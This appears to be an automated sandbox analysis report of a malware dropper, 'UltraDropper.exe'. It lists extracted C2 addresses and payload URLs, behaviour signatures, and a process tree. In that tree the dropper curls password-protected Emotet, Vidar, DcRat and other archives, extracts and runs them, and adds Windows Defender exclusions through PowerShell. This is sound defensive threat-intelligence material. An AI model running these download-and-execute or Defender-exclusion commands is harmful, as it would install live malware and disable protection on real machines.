Overview

overview

10

Static

static

3

UltraDropper.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    10-12-2024 11:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    UltraDropper.exe

  • Size

    2.1MB

  • MD5

    979f963f0a5b392eab3a585c2dab2293

  • SHA1

    c4cdcabec9a3c74872ad7b8dd2c855cbb6be5984

  • SHA256

    90bd715ca73b052d3e069921f257190627cc84323442781fee71e572d61ed931

  • SHA512

    05f1cd0e4fcba66e0cd1e5e7883424ad0584a775b3bcd5ad5420cf34e593a3a66c14af56f6238fd4e3456017127d0045a7ebb16e7f997ea6c24230578b787e6f

  • SSDEEP

    49152:CW2vZKbn0KJrgcvZ4dvTrRpjgYhNWue0CJAov:2vZKrJ5vZ4drfgYOfz

Score
10/10
dcratemoteteternityprivateloaderepoch5bankerbootkitdiscoveryevasionexecutioninfostealerloaderpersistenceratspywarestealertrojanupx

Malware Config

Extracted

Family

eternity

C2

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Attributes
  • payload_urls

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/myupdate.exe

Extracted

Family

emotet

Botnet

Epoch5

C2

178.238.225.252:8080

139.196.72.155:8080

36.67.23.59:443

103.56.149.105:8080

37.44.244.177:8080

85.25.120.45:8080

202.134.4.210:7080

78.47.204.80:443

83.229.80.93:8080

93.104.209.107:8080

80.211.107.116:8080

165.22.254.236:8080

104.244.79.94:443

185.148.169.10:8080

190.145.8.4:443

175.126.176.79:8080

139.59.80.108:8080

188.165.79.151:443

128.199.217.206:443

64.227.55.231:8080
ecs1.plain
eck1.plain

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Emotet family
    emotet
  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

    eternity
  • Eternity family
    eternity
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Privateloader family
    privateloader
  • Process spawned unexpected child process 36 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Windows security bypass 2 TTPs 3 IoCs
    evasiontrojan
  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Executes dropped EXE 33 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 3 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 21 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 4 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
    stealer
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 36 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 11 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe
    "C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5912
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:6132
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:6040
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6124
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5984
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3340
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4088
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5580
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3180
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2888
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1860
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1532
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2340
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1224
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1680
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5752
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5600
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5556
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5728
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\laplas"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4576
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5484
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\laplas"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2180
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5092
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2520
        • C:\Windows\system32\regsvr32.exe
          "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
          4⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:2728
          • C:\Windows\system32\regsvr32.exe
            C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GeBuQ\woxJjBJjmQxf.dll"
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:4804
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3868
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Enumerates connected drives
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:2924
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5164
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2764
        • C:\WINDOWS\302746537.exe
          "C:\WINDOWS\302746537.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:860
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FF8E.tmp\302746537.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1896
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\comctl32.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1364
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\mscomctl.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3308
            • \??\c:\windows\antivirus-platinum.exe
              c:\windows\antivirus-platinum.exe
              6⤵
              • Windows security bypass
              • Disables RegEdit via registry modification
              • Executes dropped EXE
              • Loads dropped DLL
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Modifies Internet Explorer settings
              • Modifies Internet Explorer start page
              • Suspicious use of SetWindowsHookEx
              • System policy modification
              PID:2484
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h c:\windows\antivirus-platinum.exe
              6⤵
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2536
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4600
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3756
        • C:\Users\Admin\AppData\Local\Temp\is-QKJCU.tmp\is-J9A8C.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-QKJCU.tmp\is-J9A8C.tmp" /SL4 $502D0 "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]" 779923 55808
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:3764
          • C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe
            "C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:3204
            • C:\Program Files (x86)\RegistrySmart\Launcher.exe
              "C:\Program Files (x86)\RegistrySmart\Launcher.exe" 0:
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:3444
              • C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe
                "C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe" launch
                7⤵
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:3512
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3160
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1004
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4760
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe
        "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4228
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:852
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2172
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1048
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe
        "C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3196
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\winsessionnet\qmazbV2JlRldI.vbe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1204
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\winsessionnet\kudjk2JZBqNfIbV0H.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3572
            • C:\winsessionnet\PortwebSaves.exe
              "C:\winsessionnet\PortwebSaves.exe"
              6⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5992
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\PortwebSaves.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4184
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\security\EDP\Logs\antivirus-platinum.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2952
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Media Player\sihost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4112
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\StartMenuExperienceHost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2152
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\cmd.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2180
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\dotnet\swidtag\dwm.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4596
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Mail\Install.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:3840
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Mail\sysmon.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4032
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Panther\conhost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1960
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\StartMenuExperienceHost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4152
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\csrss.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2436
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Music\RuntimeBroker.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2280
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft.NET\RedistList\smss.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4104
              • C:\Users\Default\Music\RuntimeBroker.exe
                "C:\Users\Default\Music\RuntimeBroker.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:5284
    • C:\Windows\SysWOW64\cmd.exe
